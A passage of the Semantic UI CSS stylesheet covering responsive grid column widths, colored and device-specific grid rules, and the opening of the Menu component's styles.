aligned\"].column.column,\n.ui.grid > .row > [class*=\"left aligned\"].column {\n  text-align: left;\n  -webkit-align-self: inherit;\n  -ms-flex-item-align: inherit;\n  align-self: inherit;\n}\n\n/* Center Aligned */\n\n.ui[class*=\"center aligned\"].grid .column,\n.ui.grid > [class*=\"center aligned\"].row > .column,\n.ui.grid > [class*=\"center aligned\"].column.column,\n.ui.grid > .row > [class*=\"center aligned\"].column {\n  text-align: center;\n  -webkit-align-self: inherit;\n  -ms-flex-item-align: inherit;\n  align-self: inherit;\n}\n\n.ui[class*=\"center aligned\"].grid {\n  -webkit-box-pack: center;\n  -webkit-justify-content: center;\n  -ms-flex-pack: center;\n  justify-content: center;\n}\n\n/* Right Aligned */\n\n.ui[class*=\"right aligned\"].grid .column,\n.ui.grid > [class*=\"right aligned\"].row > .column,\n.ui.grid > [class*=\"right aligned\"].column.column,\n.ui.grid > .row > [class*=\"right aligned\"].column {\n  text-align: right;\n  -webkit-align-self: inherit;\n  -ms-flex-item-align: inherit;\n  align-self: inherit;\n}\n\n/* Justified */\n\n.ui.justified.grid,\n.ui.justified.grid > .row > .column,\n.ui.justified.grid > .column,\n.ui.grid .justified.column,\n.ui.grid > .justified.row > .column {\n  text-align: justify;\n  -webkit-hyphens: auto;\n  -moz-hyphens: auto;\n  -ms-hyphens: auto;\n  hyphens: auto;\n}\n\n.ui.grid .justified.column {\n  text-align: justify !important;\n  -webkit-hyphens: auto !important;\n  -moz-hyphens: auto !important;\n  -ms-hyphens: auto !important;\n  hyphens: auto !important;\n}\n\n/*----------------------\n         Colored\n-----------------------*/\n\n.ui.grid > .row > .red.column,\n.ui.grid > .row > .orange.column,\n.ui.grid > .row > .yellow.column,\n.ui.grid > .row > .olive.column,\n.ui.grid > .row > .green.column,\n.ui.grid > .row > .teal.column,\n.ui.grid > .row > .blue.column,\n.ui.grid > .row > .violet.column,\n.ui.grid > .row > .purple.column,\n.ui.grid > .row > .pink.column,\n.ui.grid > .row > .brown.column,\n.ui.grid > .row > .grey.column,\n.ui.grid > .row > .black.column {\n  margin-top: -1rem;\n  margin-bottom: -1rem;\n  padding-top: 1rem;\n  padding-bottom: 1rem;\n}\n\n/* Red */\n\n.ui.grid > .red.row,\n.ui.grid > .red.column,\n.ui.grid > .row > .red.column {\n  background-color: #db2828 !important;\n  color: #ffffff;\n}\n\n/* Orange */\n\n.ui.grid > .orange.row,\n.ui.grid > .orange.column,\n.ui.grid > .row > .orange.column {\n  background-color: #f2711c !important;\n  color: #ffffff;\n}\n\n/* Yellow */\n\n.ui.grid > .yellow.row,\n.ui.grid > .yellow.column,\n.ui.grid > .row > .yellow.column {\n  background-color: #fbbd08 !important;\n  color: #ffffff;\n}\n\n/* Olive */\n\n.ui.grid > .olive.row,\n.ui.grid > .olive.column,\n.ui.grid > .row > .olive.column {\n  background-color: #b5cc18 !important;\n  color: #ffffff;\n}\n\n/* Green */\n\n.ui.grid > .green.row,\n.ui.grid > .green.column,\n.ui.grid > .row > .green.column {\n  background-color: #21ba45 !important;\n  color: #ffffff;\n}\n\n/* Teal */\n\n.ui.grid > .teal.row,\n.ui.grid > .teal.column,\n.ui.grid > .row > .teal.column {\n  background-color: #00b5ad !important;\n  color: #ffffff;\n}\n\n/* Blue */\n\n.ui.grid > .blue.row,\n.ui.grid > .blue.column,\n.ui.grid > .row > .blue.column {\n  background-color: #2185d0 !important;\n  color: #ffffff;\n}\n\n/* Violet */\n\n.ui.grid > .violet.row,\n.ui.grid > .violet.column,\n.ui.grid > .row > .violet.column {\n  background-color: #6435c9 !important;\n  color: #ffffff;\n}\n\n/* Purple */\n\n.ui.grid > .purple.row,\n.ui.grid > .purple.column,\n.ui.grid > .row > .purple.column {\n  background-color: #a333c8 !important;\n  color: #ffffff;\n}\n\n/* Pink */\n\n.ui.grid > .pink.row,\n.ui.grid > .pink.column,\n.ui.grid > .row > .pink.column {\n  background-color: #e03997 !important;\n  color: #ffffff;\n}\n\n/* Brown */\n\n.ui.grid > .brown.row,\n.ui.grid > .brown.column,\n.ui.grid > .row > .brown.column {\n  background-color: #a5673f !important;\n  color: #ffffff;\n}\n\n/* Grey */\n\n.ui.grid > .grey.row,\n.ui.grid > .grey.column,\n.ui.grid > .row > .grey.column {\n  background-color: #767676 !important;\n  color: #ffffff;\n}\n\n/* Black */\n\n.ui.grid > .black.row,\n.ui.grid > .black.column,\n.ui.grid > .row > .black.column {\n  background-color: #1b1c1d !important;\n  color: #ffffff;\n}\n\n/*----------------------\n      Equal Width\n-----------------------*/\n\n.ui[class*=\"equal width\"].grid > .column:not(.row),\n.ui[class*=\"equal width\"].grid > .row > .column,\n.ui.grid > [class*=\"equal width\"].row > .column {\n  display: inline-block;\n  -webkit-box-flex: 1;\n  -webkit-flex-grow: 1;\n  -ms-flex-positive: 1;\n  flex-grow: 1;\n}\n\n.ui[class*=\"equal width\"].grid > .wide.column,\n.ui[class*=\"equal width\"].grid > .row > .wide.column,\n.ui.grid > [class*=\"equal width\"].row > .wide.column {\n  -webkit-box-flex: 0;\n  -webkit-flex-grow: 0;\n  -ms-flex-positive: 0;\n  flex-grow: 0;\n}\n\n/*-------------------\n      Doubling\n--------------------*/\n\n/* Tablet Only */\n\n@media only screen and (min-width: 768px) and (max-width: 991px) {\n  .ui.doubling.grid {\n    width: auto;\n  }\n\n  .ui.grid > .doubling.row,\n  .ui.doubling.grid > .row {\n    margin: 0em !important;\n    padding: 0em !important;\n  }\n\n  .ui.grid > .doubling.row > .column,\n  .ui.doubling.grid > .row > .column {\n    display: inline-block !important;\n    padding-top: 1rem !important;\n    padding-bottom: 1rem !important;\n    box-shadow: none !important;\n    margin: 0em;\n  }\n\n  .ui[class*=\"two column\"].doubling.grid > .row > .column,\n  .ui[class*=\"two column\"].doubling.grid > .column:not(.row),\n  .ui.grid > [class*=\"two column\"].doubling.row.row > .column {\n    width: 100% !important;\n  }\n\n  .ui[class*=\"three column\"].doubling.grid > .row > .column,\n  .ui[class*=\"three column\"].doubling.grid > .column:not(.row),\n  .ui.grid > [class*=\"three column\"].doubling.row.row > .column {\n    width: 50% !important;\n  }\n\n  .ui[class*=\"four column\"].doubling.grid > .row > .column,\n  .ui[class*=\"four column\"].doubling.grid > .column:not(.row),\n  .ui.grid > [class*=\"four column\"].doubling.row.row > .column {\n    width: 50% !important;\n  }\n\n  .ui[class*=\"five column\"].doubling.grid > .row > .column,\n  .ui[class*=\"five column\"].doubling.grid > .column:not(.row),\n  .ui.grid > [class*=\"five column\"].doubling.row.row > .column {\n    width: 33.33333333% !important;\n  }\n\n  .ui[class*=\"six column\"].doubling.grid > .row > .column,\n  .ui[class*=\"six column\"].doubling.grid > .column:not(.row),\n  .ui.grid > [class*=\"six column\"].doubling.row.row > .column {\n    width: 33.33333333% !important;\n  }\n\n  .ui[class*=\"seven column\"].doubling.grid > .row > .column,\n  .ui[class*=\"seven column\"].doubling.grid > .column:not(.row),\n  .ui.grid > [class*=\"seven column\"].doubling.row.row > .column {\n    width: 33.33333333% !important;\n  }\n\n  .ui[class*=\"eight column\"].doubling.grid > .row > .column,\n  .ui[class*=\"eight column\"].doubling.grid > .column:not(.row),\n  .ui.grid > [class*=\"eight column\"].doubling.row.row > .column {\n    width: 25% !important;\n  }\n\n  .ui[class*=\"nine column\"].doubling.grid > .row > .column,\n  .ui[class*=\"nine column\"].doubling.grid > .column:not(.row),\n  .ui.grid > [class*=\"nine column\"].doubling.row.row > .column {\n    width: 25% !important;\n  }\n\n  .ui[class*=\"ten column\"].doubling.grid > .row > .column,\n  .ui[class*=\"ten column\"].doubling.grid > .column:not(.row),\n  .ui.grid > [class*=\"ten column\"].doubling.row.row > .column {\n    width: 20% !important;\n  }\n\n  .ui[class*=\"eleven column\"].doubling.grid > .row > .column,\n  .ui[class*=\"eleven column\"].doubling.grid > .column:not(.row),\n  .ui.grid > [class*=\"eleven column\"].doubling.row.row > .column {\n    width: 20% !important;\n  }\n\n  .ui[class*=\"twelve column\"].doubling.grid > .row > .column,\n  .ui[class*=\"twelve column\"].doubling.grid > .column:not(.row),\n  .ui.grid > [class*=\"twelve column\"].doubling.row.row > .column {\n    width: 16.66666667% !important;\n  }\n\n  .ui[class*=\"thirteen column\"].doubling.grid > .row > .column,\n  .ui[class*=\"thirteen column\"].doubling.grid > .column:not(.row),\n  .ui.grid > [class*=\"thirteen column\"].doubling.row.row > .column {\n    width: 16.66666667% !important;\n  }\n\n  .ui[class*=\"fourteen column\"].doubling.grid > .row > .column,\n  .ui[class*=\"fourteen column\"].doubling.grid > .column:not(.row),\n  .ui.grid > [class*=\"fourteen column\"].doubling.row.row > .column {\n    width: 14.28571429% !important;\n  }\n\n  .ui[class*=\"fifteen column\"].doubling.grid > .row > .column,\n  .ui[class*=\"fifteen column\"].doubling.grid > .column:not(.row),\n  .ui.grid > [class*=\"fifteen column\"].doubling.row.row > .column {\n    width: 14.28571429% !important;\n  }\n\n  .ui[class*=\"sixteen column\"].doubling.grid > .row > .column,\n  .ui[class*=\"sixteen column\"].doubling.grid > .column:not(.row),\n  .ui.grid > [class*=\"sixteen column\"].doubling.row.row > .column {\n    width: 12.5% !important;\n  }\n}\n\n/* Mobily Only */\n\n@media only screen and (max-width: 767px) {\n  .ui.grid > .doubling.row,\n  .ui.doubling.grid > .row {\n    margin: 0em !important;\n    padding: 0em !important;\n  }\n\n  .ui.grid > .doubling.row > .column,\n  .ui.doubling.grid > .row > .column {\n    padding-top: 1rem !important;\n    padding-bottom: 1rem !important;\n    margin: 0em !important;\n    box-shadow: none !important;\n  }\n\n  .ui[class*=\"two column\"].doubling:not(.stackable).grid > .row > .column,\n  .ui[class*=\"two column\"].doubling:not(.stackable).grid > .column:not(.row),\n  .ui.grid > [class*=\"two column\"].doubling:not(.stackable).row.row > .column {\n    width: 100% !important;\n  }\n\n  .ui[class*=\"three column\"].doubling:not(.stackable).grid > .row > .column,\n  .ui[class*=\"three column\"].doubling:not(.stackable).grid > .column:not(.row),\n  .ui.grid > [class*=\"three column\"].doubling:not(.stackable).row.row > .column {\n    width: 50% !important;\n  }\n\n  .ui[class*=\"four column\"].doubling:not(.stackable).grid > .row > .column,\n  .ui[class*=\"four column\"].doubling:not(.stackable).grid > .column:not(.row),\n  .ui.grid > [class*=\"four column\"].doubling:not(.stackable).row.row > .column {\n    width: 50% !important;\n  }\n\n  .ui[class*=\"five column\"].doubling:not(.stackable).grid > .row > .column,\n  .ui[class*=\"five column\"].doubling:not(.stackable).grid > .column:not(.row),\n  .ui.grid > [class*=\"five column\"].doubling:not(.stackable).row.row > .column {\n    width: 50% !important;\n  }\n\n  .ui[class*=\"six column\"].doubling:not(.stackable).grid > .row > .column,\n  .ui[class*=\"six column\"].doubling:not(.stackable).grid > .column:not(.row),\n  .ui.grid > [class*=\"six column\"].doubling:not(.stackable).row.row > .column {\n    width: 50% !important;\n  }\n\n  .ui[class*=\"seven column\"].doubling:not(.stackable).grid > .row > .column,\n  .ui[class*=\"seven column\"].doubling:not(.stackable).grid > .column:not(.row),\n  .ui.grid > [class*=\"seven column\"].doubling:not(.stackable).row.row > .column {\n    width: 50% !important;\n  }\n\n  .ui[class*=\"eight column\"].doubling:not(.stackable).grid > .row > .column,\n  .ui[class*=\"eight column\"].doubling:not(.stackable).grid > .column:not(.row),\n  .ui.grid > [class*=\"eight column\"].doubling:not(.stackable).row.row > .column {\n    width: 50% !important;\n  }\n\n  .ui[class*=\"nine column\"].doubling:not(.stackable).grid > .row > .column,\n  .ui[class*=\"nine column\"].doubling:not(.stackable).grid > .column:not(.row),\n  .ui.grid > [class*=\"nine column\"].doubling:not(.stackable).row.row > .column {\n    width: 33.33333333% !important;\n  }\n\n  .ui[class*=\"ten column\"].doubling:not(.stackable).grid > .row > .column,\n  .ui[class*=\"ten column\"].doubling:not(.stackable).grid > .column:not(.row),\n  .ui.grid > [class*=\"ten column\"].doubling:not(.stackable).row.row > .column {\n    width: 33.33333333% !important;\n  }\n\n  .ui[class*=\"eleven column\"].doubling:not(.stackable).grid > .row > .column,\n  .ui[class*=\"eleven column\"].doubling:not(.stackable).grid > .column:not(.row),\n  .ui.grid > [class*=\"eleven column\"].doubling:not(.stackable).row.row > .column {\n    width: 33.33333333% !important;\n  }\n\n  .ui[class*=\"twelve column\"].doubling:not(.stackable).grid > .row > .column,\n  .ui[class*=\"twelve column\"].doubling:not(.stackable).grid > .column:not(.row),\n  .ui.grid > [class*=\"twelve column\"].doubling:not(.stackable).row.row > .column {\n    width: 33.33333333% !important;\n  }\n\n  .ui[class*=\"thirteen column\"].doubling:not(.stackable).grid > .row > .column,\n  .ui[class*=\"thirteen column\"].doubling:not(.stackable).grid > .column:not(.row),\n  .ui.grid > [class*=\"thirteen column\"].doubling:not(.stackable).row.row > .column {\n    width: 33.33333333% !important;\n  }\n\n  .ui[class*=\"fourteen column\"].doubling:not(.stackable).grid > .row > .column,\n  .ui[class*=\"fourteen column\"].doubling:not(.stackable).grid > .column:not(.row),\n  .ui.grid > [class*=\"fourteen column\"].doubling:not(.stackable).row.row > .column {\n    width: 25% !important;\n  }\n\n  .ui[class*=\"fifteen column\"].doubling:not(.stackable).grid > .row > .column,\n  .ui[class*=\"fifteen column\"].doubling:not(.stackable).grid > .column:not(.row),\n  .ui.grid > [class*=\"fifteen column\"].doubling:not(.stackable).row.row > .column {\n    width: 25% !important;\n  }\n\n  .ui[class*=\"sixteen column\"].doubling:not(.stackable).grid > .row > .column,\n  .ui[class*=\"sixteen column\"].doubling:not(.stackable).grid > .column:not(.row),\n  .ui.grid > [class*=\"sixteen column\"].doubling:not(.stackable).row.row > .column {\n    width: 25% !important;\n  }\n}\n\n/*-------------------\n      Stackable\n--------------------*/\n\n@media only screen and (max-width: 767px) {\n  .ui.stackable.grid {\n    width: auto;\n  }\n\n  .ui.stackable.grid > .row > .wide.column,\n  .ui.stackable.grid > .wide.column,\n  .ui.stackable.grid > .column.grid > .column,\n  .ui.stackable.grid > .column.row > .column,\n  .ui.stackable.grid > .row > .column,\n  .ui.stackable.grid > .column:not(.row),\n  .ui.grid > .stackable.stackable.row > .column {\n    width: 100% !important;\n    margin: 0em 0em !important;\n    box-shadow: none !important;\n    padding: 1rem 1rem !important;\n  }\n\n  .ui.stackable.grid:not(.vertically) > .row {\n    margin: 0em;\n    padding: 0em;\n  }\n\n  /* Coupling */\n\n  .ui.container > .ui.stackable.grid > .column,\n  .ui.container > .ui.stackable.grid > .row > .column {\n    padding-left: 0em !important;\n    padding-right: 0em !important;\n  }\n\n  /* Don't pad inside segment or nested grid */\n\n  .ui.grid .ui.stackable.grid,\n  .ui.segment:not(.vertical) .ui.stackable.page.grid {\n    margin-left: -1rem !important;\n    margin-right: -1rem !important;\n  }\n\n  /* Divided Stackable */\n\n  .ui.stackable.divided.grid > .row:first-child > .column:first-child,\n  .ui.stackable.celled.grid > .row:first-child > .column:first-child,\n  .ui.stackable.divided.grid > .column:not(.row):first-child,\n  .ui.stackable.celled.grid > .column:not(.row):first-child {\n    border-top: none !important;\n  }\n\n  .ui.inverted.stackable.celled.grid > .column:not(.row),\n  .ui.inverted.stackable.divided.grid > .column:not(.row),\n  .ui.inverted.stackable.celled.grid > .row > .column,\n  .ui.inverted.stackable.divided.grid > .row > .column {\n    border-top: 1px solid rgba(255, 255, 255, 0.1);\n  }\n\n  .ui.stackable.celled.grid > .column:not(.row),\n  .ui.stackable.divided:not(.vertically).grid > .column:not(.row),\n  .ui.stackable.celled.grid > .row > .column,\n  .ui.stackable.divided:not(.vertically).grid > .row > .column {\n    border-top: 1px solid rgba(34, 36, 38, 0.15);\n    box-shadow: none !important;\n    padding-top: 2rem !important;\n    padding-bottom: 2rem !important;\n  }\n\n  .ui.stackable.divided:not(.vertically).grid > .column:not(.row),\n  .ui.stackable.divided:not(.vertically).grid > .row > .column {\n    padding-left: 0em !important;\n    padding-right: 0em !important;\n  }\n}\n\n/*----------------------\n     Only (Device)\n-----------------------*/\n\n/* These include arbitrary class repetitions for forced specificity */\n\n/* Mobile Only Hide */\n\n@media only screen and (max-width: 767px) {\n  .ui.tablet:not(.mobile).only.grid.grid.grid,\n  .ui.grid.grid.grid > [class*=\"tablet only\"].row:not(.mobile),\n  .ui.grid.grid.grid > [class*=\"tablet only\"].column:not(.mobile),\n  .ui.grid.grid.grid > .row > [class*=\"tablet only\"].column:not(.mobile) {\n    display: none !important;\n  }\n\n  .ui[class*=\"computer only\"].grid.grid.grid:not(.mobile),\n  .ui.grid.grid.grid > [class*=\"computer only\"].row:not(.mobile),\n  .ui.grid.grid.grid > [class*=\"computer only\"].column:not(.mobile),\n  .ui.grid.grid.grid > .row > [class*=\"computer only\"].column:not(.mobile) {\n    display: none !important;\n  }\n\n  .ui[class*=\"large screen only\"].grid.grid.grid:not(.mobile),\n  .ui.grid.grid.grid > [class*=\"large screen only\"].row:not(.mobile),\n  .ui.grid.grid.grid > [class*=\"large screen only\"].column:not(.mobile),\n  .ui.grid.grid.grid > .row > [class*=\"large screen only\"].column:not(.mobile) {\n    display: none !important;\n  }\n\n  .ui[class*=\"widescreen\"].grid.grid.grid:not(.mobile),\n  .ui.grid.grid.grid > [class*=\"large screen only\"].row:not(.mobile),\n  .ui.grid.grid.grid > [class*=\"large screen only\"].column:not(.mobile),\n  .ui.grid.grid.grid > .row > [class*=\"large screen only\"].column:not(.mobile) {\n    display: none !important;\n  }\n}\n\n/* Tablet Only Hide */\n\n@media only screen and (min-width: 768px) and (max-width: 991px) {\n  .ui[class*=\"mobile only\"].grid.grid.grid:not(.tablet),\n  .ui.grid.grid.grid > [class*=\"mobile only\"].row:not(.tablet),\n  .ui.grid.grid.grid > [class*=\"mobile only\"].column:not(.tablet),\n  .ui.grid.grid.grid > .row > [class*=\"mobile only\"].column:not(.tablet) {\n    display: none !important;\n  }\n\n  .ui[class*=\"computer only\"].grid.grid.grid:not(.tablet),\n  .ui.grid.grid.grid > [class*=\"computer only\"].row:not(.tablet),\n  .ui.grid.grid.grid > [class*=\"computer only\"].column:not(.tablet),\n  .ui.grid.grid.grid > .row > [class*=\"computer only\"].column:not(.tablet) {\n    display: none !important;\n  }\n\n  .ui[class*=\"large screen only\"].grid.grid.grid:not(.mobile),\n  .ui.grid.grid.grid > [class*=\"large screen only\"].row:not(.mobile),\n  .ui.grid.grid.grid > [class*=\"large screen only\"].column:not(.mobile),\n  .ui.grid.grid.grid > .row > [class*=\"large screen only\"].column:not(.mobile) {\n    display: none !important;\n  }\n\n  .ui[class*=\"widescreen\"].grid.grid.grid:not(.mobile),\n  .ui.grid.grid.grid > [class*=\"widescreen only\"].row:not(.mobile),\n  .ui.grid.grid.grid > [class*=\"widescreen only\"].column:not(.mobile),\n  .ui.grid.grid.grid > .row > [class*=\"widescreen only\"].column:not(.mobile) {\n    display: none !important;\n  }\n}\n\n/* Computer Only Hide */\n\n@media only screen and (min-width: 992px) and (max-width: 1199px) {\n  .ui[class*=\"mobile only\"].grid.grid.grid:not(.computer),\n  .ui.grid.grid.grid > [class*=\"mobile only\"].row:not(.computer),\n  .ui.grid.grid.grid > [class*=\"mobile only\"].column:not(.computer),\n  .ui.grid.grid.grid > .row > [class*=\"mobile only\"].column:not(.computer) {\n    display: none !important;\n  }\n\n  .ui[class*=\"tablet only\"].grid.grid.grid:not(.computer),\n  .ui.grid.grid.grid > [class*=\"tablet only\"].row:not(.computer),\n  .ui.grid.grid.grid > [class*=\"tablet only\"].column:not(.computer),\n  .ui.grid.grid.grid > .row > [class*=\"tablet only\"].column:not(.computer) {\n    display: none !important;\n  }\n\n  .ui[class*=\"large screen only\"].grid.grid.grid:not(.mobile),\n  .ui.grid.grid.grid > [class*=\"large screen only\"].row:not(.mobile),\n  .ui.grid.grid.grid > [class*=\"large screen only\"].column:not(.mobile),\n  .ui.grid.grid.grid > .row > [class*=\"large screen only\"].column:not(.mobile) {\n    display: none !important;\n  }\n\n  .ui[class*=\"widescreen\"].grid.grid.grid:not(.mobile),\n  .ui.grid.grid.grid > [class*=\"widescreen only\"].row:not(.mobile),\n  .ui.grid.grid.grid > [class*=\"widescreen only\"].column:not(.mobile),\n  .ui.grid.grid.grid > .row > [class*=\"widescreen only\"].column:not(.mobile) {\n    display: none !important;\n  }\n}\n\n/* Large Screen Only Hide */\n\n@media only screen and (min-width: 1200px) and (max-width: 1919px) {\n  .ui[class*=\"mobile only\"].grid.grid.grid:not(.computer),\n  .ui.grid.grid.grid > [class*=\"mobile only\"].row:not(.computer),\n  .ui.grid.grid.grid > [class*=\"mobile only\"].column:not(.computer),\n  .ui.grid.grid.grid > .row > [class*=\"mobile only\"].column:not(.computer) {\n    display: none !important;\n  }\n\n  .ui[class*=\"tablet only\"].grid.grid.grid:not(.computer),\n  .ui.grid.grid.grid > [class*=\"tablet only\"].row:not(.computer),\n  .ui.grid.grid.grid > [class*=\"tablet only\"].column:not(.computer),\n  .ui.grid.grid.grid > .row > [class*=\"tablet only\"].column:not(.computer) {\n    display: none !important;\n  }\n\n  .ui[class*=\"widescreen\"].grid.grid.grid:not(.mobile),\n  .ui.grid.grid.grid > [class*=\"widescreen only\"].row:not(.mobile),\n  .ui.grid.grid.grid > [class*=\"widescreen only\"].column:not(.mobile),\n  .ui.grid.grid.grid > .row > [class*=\"widescreen only\"].column:not(.mobile) {\n    display: none !important;\n  }\n}\n\n/* Widescreen Only Hide */\n\n@media only screen and (min-width: 1920px) {\n  .ui[class*=\"mobile only\"].grid.grid.grid:not(.computer),\n  .ui.grid.grid.grid > [class*=\"mobile only\"].row:not(.computer),\n  .ui.grid.grid.grid > [class*=\"mobile only\"].column:not(.computer),\n  .ui.grid.grid.grid > .row > [class*=\"mobile only\"].column:not(.computer) {\n    display: none !important;\n  }\n\n  .ui[class*=\"tablet only\"].grid.grid.grid:not(.computer),\n  .ui.grid.grid.grid > [class*=\"tablet only\"].row:not(.computer),\n  .ui.grid.grid.grid > [class*=\"tablet only\"].column:not(.computer),\n  .ui.grid.grid.grid > .row > [class*=\"tablet only\"].column:not(.computer) {\n    display: none !important;\n  }\n}\n\n/*******************************\n         Theme Overrides\n*******************************/\n\n/*******************************\n         Site Overrides\n*******************************/\n/*\n * # Semantic - Menu\n * http://github.com/semantic-org/semantic-ui/\n *\n *\n * Copyright 2015 Contributor\n * Released under the MIT license\n * http://opensource.org/licenses/MIT\n *\n */\n\n/*******************************\n            Standard\n*******************************/\n\n/*--------------\n      Menu\n---------------*/\n\n.ui.menu {\n  display: -webkit-box;\n  display: -webkit-flex;\n  display: -ms-flexbox;\n  display: flex;\n  margin: 1em 0rem;\n  font-family: 'Lato', 'Helvetica Neue', Arial, Helvetica, sans-serif;\n  background: #ffffff;\n  font-weight: normal;\n  border: 1px solid rgba(34, 36, 38, 0.15);\n  box-shadow: 0px 1px 2px 0 rgba(34, 36, 38, 0.15);\n  border-radius: 0.28571429rem;\n  min-height: 2.85714286em;\n}\n\n.ui.menu:after {\n  content: '';\n  display: block;\n  height: 0px;\n  clear: both;\n  visibility: hidden;\n}\n\n.ui.menu:first-child {\n  margin-top: 0rem;\n}\n\n.ui.menu:last-child {\n  margin-bottom: 0rem;\n}\n\n/*--------------\n    Sub-Menu\n---------------*/\n\n.ui.menu .menu {\n  margin: 0em;\n}\n\n.ui.menu:not(.vertical) > .menu {\n  display: -webkit-box;\n  display: -webkit-flex;\n  display: -ms-flexbox;\n  display: flex;\n}\n\n/*--------------\n      Item\n---------------*/\n\n.ui.menu:not(.vertical) .item {\n  display: -webkit-box;\n  display: -webkit-flex;\n  display: -ms-flexbox;\n  display: flex;\n  -webkit-box-align: center;\n  -webkit-align-items: center;\n  -ms-flex-align: center;\n  align-items: center;\n}\n\n.ui.menu .item {\n  position: relative;\n  vertical-align: middle;\n  line-height: 1;\n  text-decoration: none;\n  -webkit-tap-highlight-color: transparent;\n  -webkit-user-select: none;\n  -moz-user-select: none;\n  -ms-user-select: none;\n  user-select: none;\n  background: none;\n  padding: 0.92857143em 1.14285714em;\n  text-transform: none;\n  color: rgba(0, 0, 0, 0.87);\n  font-weight: normal;\n  -webkit-transition: background 0.1s ease, box-shadow 0.1s ease, color 0.1s ease;\n  transition: background 0.1s ease, box-shadow 0.1s ease, color 0.1s ease;\n}\n\n.ui.menu > .item:first-child {\n  border-radius: 0.28571429rem 0px 0px 0.28571429rem;\n}\n\n/* Border */\n\n.ui.menu .item:before {\n  position: absolute;\n  content: '';\n  top: 0%;\n  right: 0px;\n  height: 100%;\n  width: 1px;\n  background: rgba(34, 36, 38, 0.1);\n}\n\n/*--------------\n  Text Content\n---------------*/\n\n.ui.menu .text.item > *,\n.ui.menu .item > a:not(.ui),\n.ui.menu .item > p:only-child {\n  -webkit-user-select: text;\n  -moz-user-select: text;\n  -ms-user-select: text;\n  user-select: text;\n  line-height: 1.3;\n}\n\n.ui.menu .item > p:first-child {\n  margin-top: 0;\n}\n\n.ui.menu .item > p:last-child {\n  margin-bottom: 0;\n}\n\n/*--------------\n      Icons\n---------------*/\n\n.ui.menu .item > i.icon {\n  opacity: 0.9;\n  float: none;\n  margin: 0em 0.35714286em 0em 0em;\n}\n\n/*--------------\n     Button\n---------------*/\n\n.ui.menu:not(.vertical) .item > .button {\n  position: relative;\n  top: 0em;\n  margin: -0.5em 0em;\n  padding-bottom: 0.71428571em;\n  padding-top: 0.71428571em;\n  font-size: 1em;\n}\n\n/*----------------\n Grid / Container\n-----------------*/\n\n.ui.menu > .grid,\n.ui.menu > .container {\n  display: -webkit-box;\n  display: -webkit-flex;\n  display: -ms-flexbox;\n  display: flex;\n  -webkit-box-align: inherit;\n  -webkit-align-items: inherit;\n  -ms-flex-align: inherit;\n  align-items: inherit;\n  -webkit-box-orient: vertical;\n  -webkit-box-direction: normal;\n  -webkit-flex-direction: inherit;\n  -ms-flex-direction: inherit;\n  flex-direction: inherit;\n}\n\n/*--------------\n     Inputs\n---------------*/\n\n.ui.menu .item > .input {\n  width: 100%;\n}\n\n.ui.menu:not(.vertical) .item > .input {\n  position: relative;\n  top: 0em;\n  margin: -0.5em 0em;\n}\n\n.ui.menu .item > .input input {\n  font-size: 1em;\n  padding-top: 0.57142857em;\n  padding-bottom: 0.57142857em;\n}\n\n.ui.menu .item > .input .button,\n.ui.menu .item > .input .label {\n  padding-top: 0.57142857em;\n  padding-bottom: 0.57142857em;\n}\n\n/*--------------\n     Header\n---------------*/\n\n.ui.menu .header.item,\n.ui.vertical.menu .header.item {\n  margin: 0em;\n  background: '';\n  text-transform: normal;\n  font-weight: bold;\n}\n\n.ui.vertical.menu .item > .header:not(.ui) {\n  margin: 0em 0em 0.5em;\n  font-size: 1em;\n  font-weight: bold;\n}\n\n/*--------------\n     Popup\n---------------*/\n\n.ui.menu .ui.popup {\n  display: none;\n}\n\n.ui.menu .ui.visible.popup {\n  display: block;\n}\n\n/*--------------\n    Dropdowns\n---------------*/\n\n/* Dropdown Icon */\n\n.ui.menu .item > i.dropdown.icon {\n  padding: 0em;\n  float: right;\n  margin: 0em 0em 0em 1em;\n}\n\n/* Menu */\n\n.ui.menu .dropdown.item .menu {\n  left: 0px;\n  min-width: calc(100% - 1px);\n  border-radius: 0em 0em 0.28571429rem 0.28571429rem;\n  background: #ffffff;\n  margin: 0em 0px 0px;\n  box-shadow: 0px 1px 3px 0px rgba(0, 0, 0, 0.08);\n}\n\n/* Menu Items */\n\n.ui.menu .ui.dropdown .menu > .item {\n  margin: 0;\n  font-size: 1em !important;\n  padding: 0.71428571em 1.14285714em !important;\n  background: transparent !important;\n  color: rgba(0, 0, 0, 0.87) !important;\n  text-transform: none !important;\n  font-weight: normal !important;\n  box-shadow: none !important;\n  -webkit-transition: none !important;\n  transition: none !important;\n}\n\n.ui.menu .ui.dropdown .menu > .item:hover {\n  background: rgba(0, 0, 0, 0.05) !important;\n  color: rgba(0, 0, 0, 0.95) !important;\n}\n\n.ui.menu .ui.dropdown .menu > .selected.item {\n  background: rgba(0, 0, 0, 0.05) !important;\n  color: rgba(0, 0, 0, 0.95) !important;\n}\n\n.ui.menu .ui.dropdown .menu > .active.item {\n  background: rgba(0, 0, 0, 0.03) !important;\n  font-weight: bold !important;\n  color: rgba(0, 0, 0, 0.95) !important;\n}\n\n.ui.menu .ui.dropdown.item .menu .item:not(.filtered) {\n  display: block;\n}\n\n.ui.menu .ui.dropdown .menu > .item .icon:not(.dropdown) {\n  display: inline-block;\n  font-size: 1em !important;\n  float: none;\n  margin: 0em 0.75em 0em 0em;\n}\n\n/* Secondary */\n\n.ui.secondary.menu .dropdown.item > .menu,\n.ui.text.menu .dropdown.item > .menu {\n  border-radius: 0.28571429rem;\n  margin-top: 0.35714286em;\n}\n\n/* Pointing */\n\n.ui.menu .pointing.dropdown.item .menu {\n  margin-top: 0.75em;\n}\n\n/* Inverted */\n\n.ui.inverted.menu .search.dropdown.item > .search,\n.ui.inverted.menu .search.dropdown.item > .text {\n  color: rgba(255, 255, 255, 0.9);\n}\n\n/* Vertical */\n\n.ui.vertical.menu .dropdown.item > .icon {\n  float: right;\n  content: \"\\f0da\";\n  margin-left: 1em;\n}\n\n.ui.vertical.menu .dropdown.item .menu {\n  top: 0% !important;\n  left: 100%;\n  min-width: 0;\n  margin: 0em 0em 0em 0em;\n  box-shadow: 0 1px 3px 0px rgba(0, 0, 0, 0.08);\n  border-radius: 0em 0.28571429rem 0.28571429rem 0.28571429rem;\n}\n\n.ui.vertical.menu .active.dropdown.item {\n  border-top-right-radius: 0em;\n  border-bottom-right-radius: 0em;\n}\n\n.ui.vertical.menu .dropdown.active.item {\n  box-shadow: none;\n}\n\n/* Evenly Divided */\n\n.ui.item.menu .dropdown .menu .item {\n  width: 100%;\n}\n\n/*--------------\n     Labels\n---------------*/\n\n.ui.menu .item > .label {\n  background: #999999;\n  color: 